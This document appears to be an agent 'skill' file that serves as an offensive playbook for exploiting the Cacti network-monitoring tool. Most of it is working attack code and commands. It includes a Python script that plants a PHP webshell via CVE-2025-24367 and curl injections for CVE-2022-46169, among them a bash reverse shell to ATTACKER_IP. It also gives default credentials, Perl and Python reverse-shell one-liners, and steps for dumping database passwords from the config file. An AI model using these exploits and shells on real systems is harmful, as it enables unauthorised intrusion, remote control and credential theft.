| name | cacti-exploitation |
| description | This skill covers Cacti network monitoring tool exploitation including
authenticated RCE via graph templates (CVE-2025-24367), unauthenticated
command injection (CVE-2022-46169), and authentication bypass techniques.
|
Cacti Exploitation
Overview
Cacti is a PHP-based network monitoring tool that uses RRDtool for graphing. It has multiple known vulnerabilities including authenticated RCE and unauthenticated command injection.
Version Detection
curl -s http://target/cacti/include/cacti_version
curl -s http://target/cacti/ | grep -i version
curl -s http://target/cacti/index.php
curl -s http://target/cacti/graph_view.php
Default Credentials
| Username | Password | Notes |
|---|
| admin | admin | Default installation |
| admin | cacti | Alternative default |
| guest | guest | Guest account |
| admin | (empty) | Some versions |
CVE-2025-24367: Authenticated RCE via Graph Templates
Vulnerability
Authenticated users with permission to edit graph templates can inject arbitrary RRDtool commands via the right_axis_label parameter. RRDtool then writes PHP code to files in the web directory.
Requirements
- Valid Cacti credentials (any user with graph template edit access)
- Write access to web directory
Exploitation Steps
Step 1: Login and Get CSRF Token
import requests
import re
session = requests.Session()
url = "http://target/cacti"
res = session.get(f"{url}/index.php")
csrf = re.search(r"sid:[a-z0-9]+,[a-z0-9]+", res.text).group(0)
data = {
"__csrf_magic": csrf,
"action": "login",
"login_username": "marcus",
"login_password": "wonderful1"
}
session.post(f"{url}/index.php", data=data, allow_redirects=True)
Step 2: Get Graph Template Info
t226 = session.get(f"{url}/graph_templates.php?action=template_edit&id=226")
csrf = re.search(r"sid:[a-z0-9]+,[a-z0-9]+", t226.text).group(0)
gtg_id = re.search(r'graph_template_graph_id.*?value="(\d+)"', t226.text).group(1)
Step 3: Inject RRDtool Payload
php_code = "<?=system($_REQUEST[1]);?>"
payload = f"""XXX
create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph shell.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:{php_code}
"""
data = {
"__csrf_magic": csrf,
"name": "Unix - Logged in Users",
"graph_template_id": "226",
"graph_template_graph_id": gtg_id,
"save_component_template": "1",
"title": "|host_description| - Logged in Users",
"vertical_label": "users",
"image_format_id": "3",
"height": "200",
"width": "700",
"base_value": "1000",
"slope_mode": "on",
"auto_scale": "on",
"auto_scale_opts": "2",
"auto_scale_rigid": "on",
"upper_limit": "100",
"lower_limit": "0",
"right_axis": "",
"right_axis_label": payload,
"right_axis_format": "0",
"right_axis_formatter": "0",
"left_axis_formatter": "0",
"auto_padding": "on",
"tab_width": "30",
"legend_position": "0",
"legend_direction": "0",
"rrdtool_version": "1.7.2",
"action": "save"
}
session.post(f"{url}/graph_templates.php?header=false", data=data)
Step 4: Trigger Graph Rendering
for gid in range(1, 10):
session.get(f"{url}/graph_json.php?local_graph_id={gid}&rra_id=0&graph_start=1&graph_end=99999999999")
import time
time.sleep(1)
Step 5: Run Commands
curl "http://target/cacti/shell.php?1=id"
curl "http://target/cacti/shell.php?1=cat+/etc/passwd"
curl "http://target/cacti/shell.php?1=perl+-e+'use+Socket...'"
Character Filtering Notes
The exploit has character limitations in the PHP code:
- Quotes filtered: Use
$_REQUEST[1] instead of $_GET["cmd"]
- Spaces: Use
+ in URLs or tab character (chr 0x09) in payloads
- Special chars: Avoid pipes, ampersands in webshell; use listener for complex commands
CVE-2022-46169: Unauthenticated Command Injection
Vulnerability
Unauthenticated command injection via local_data_ids[] parameter in remote_agent.php.
Requirements
- Cacti version < 1.2.23
- X-Forwarded-For header bypass
Exploitation
curl -s "http://target/cacti/remote_agent.php" \
-H "X-Forwarded-For: 127.0.0.1" \
-d "action=polldata&host_id=1&local_data_ids[]=1"
curl -s "http://target/cacti/remote_agent.php" \
-H "X-Forwarded-For: 127.0.0.1" \
-d "action=polldata&host_id=1&local_data_ids[]=1;id"
curl -s "http://target/cacti/remote_agent.php" \
-H "X-Forwarded-For: 127.0.0.1" \
-d "action=polldata&host_id=1&local_data_ids[]=1;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
Post-Exploitation
Database Credentials
Cacti stores database credentials in the config file:
cat /var/www/html/cacti/include/config.php
cat /var/www/cacti/include/config.php
Database Extraction
mysql -u cacti_user -p'password' cacti
SELECT username, password FROM user_auth;
SELECT * FROM settings WHERE name LIKE '%password%';
Common File Locations
/var/www/html/cacti/
/var/www/cacti/
/usr/share/cacti/
/opt/cacti/
Exploiting Authentication
Type Juggling on Password Reset
Cacti may be vulnerable to PHP type juggling on password reset:
curl "http://target/cacti/auth_changepassword.php?token=0"
Session Hijacking
grep -r "session" /var/log/cacti/
grep -r "session" /var/www/cacti/log/
Reverse Shell Payloads
Perl One-Liner (Recommended)
Works well because it avoids special character issues:
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");system("/bin/sh -i");};'
Python Reverse Shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Quick Reference
| CVE | Auth Required | Version | Impact |
|---|
| CVE-2025-24367 | Yes | Multiple | RCE via graph templates |
| CVE-2022-46169 | No | < 1.2.23 | RCE via remote_agent.php |
Related Skills
php-type-juggling - Authentication bypass techniques
web-enumeration - Discovering Cacti installations
common-exploits - Other web vulnerabilities
linux-privesc - Post-exploitation escalation